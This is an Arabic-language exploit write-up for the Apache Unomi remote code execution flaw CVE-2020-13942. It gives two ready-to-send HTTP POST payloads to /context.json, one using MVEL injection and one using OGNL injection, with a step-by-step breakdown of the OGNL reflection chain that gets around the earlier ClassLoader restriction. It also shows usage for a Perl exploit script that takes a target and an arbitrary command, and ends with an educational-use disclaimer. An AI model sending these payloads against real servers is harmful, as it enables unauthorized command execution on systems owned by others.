
Apache Unomi CVE-2020-13942: ثغرات RCE
المقال الأصلي في المدونة حول الثغرة: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
هناك متجهان لـ RCE: عبر حقن MVEL وعبر حقن OGNL. كلا المتجهين يستهدفان كودًا مختلفًا على الرغم من أن الحمولات تبدو متشابهة نسبيًا. الإصلاح السابق لـ CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 حاول تقييد تنفيذ تعبيرات OGNL، لكنه أغفل MVEL تمامًا. يتجاوز CVE-2020-13942 الإصلاح الذي تم في الإصدار 1.5.1.
أرسل طلبات HTTP التالية باستخدام BurpSuite أو curl إلى context.js\json المعروض بواسطة خادم Unomi واحصل على RCE. غيّر Host و Content-length حسب عنوان URL الهدف وأمر نظام التشغيل الخاص بك.
يمكن أن يحصل كلا POC على HTTP/1.1 400 Header Folding في الرد، مما يعني أن \r\n معطلة في الحمولة، حاول نسخها ولصقها مرة أخرى.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
تجاوز إثبات المفهوم OGNL قيود ClassLoader التي تم تقديمها في الإصدار 1.5.1. باستخدام واجهة برمجة تطبيقات الانعكاس في Java، من الممكن إنشاء كائن دون تشغيل طريقة ClassLoader.loadClass التي تقيد تعبيرات OGNL المقدرة.
تفصيل تعبير OGNL الحمولة:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") ينشئ كائن Class من java.lang.Runtime، حيث يكون #this هو المرجع إلى كائن السياق.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] يحصل على قائمة طرق فئة Runtime من خلال الانعكاس ويختار طريقة getRuntime من القائمة. الجزء {^ #this.name.equals(\"getRuntime\")} من التعبير يبحث عن Method بالاسم getRuntime ويعيد قائمة بالطرق التي تطابق الشرط؛ الطريقة الأولى والوحيدة في هذه القائمة هي getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) يستدعي طريقة getRuntime() ويحصل على كائن Runtime.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) يحصل على طرق فئة Runtime ويسترد Runtime.exec() مع وسيطة سلسلة واحدة من قائمة الطرق.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") يستدعي Runtime.exec() مع الوسيطة المحددة.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
الاستخدام الأساسي:
./apache_unomi.pl [options]
options:
./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]
[+]usage:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
جميع المعلومات المقدمة في هذه الصفحة هي لأغراض تعليمية فقط. يجب استخدام المعلومات الموجودة على هذا الموقع فقط لتعزيز أمان أنظمة الكمبيوتر الخاصة بك وليس للتسبب في هجمات ضارة أو مدمرة.
يجب ألا تسيء استخدام هذه المعلومات للحصول على وصول غير مصرح به إلى أنظمة الكمبيوتر. كما يجب أن تعلم أن محاولات الاختراق على أجهزة الكمبيوتر التي لا تملكها، دون إذن كتابي من المالكين، غير قانونية.
لن أكون مسؤولاً عن أي ضرر مباشر أو غير مباشر يحدث نتيجة استخدام المعلومات المقدمة على هذا الموقع.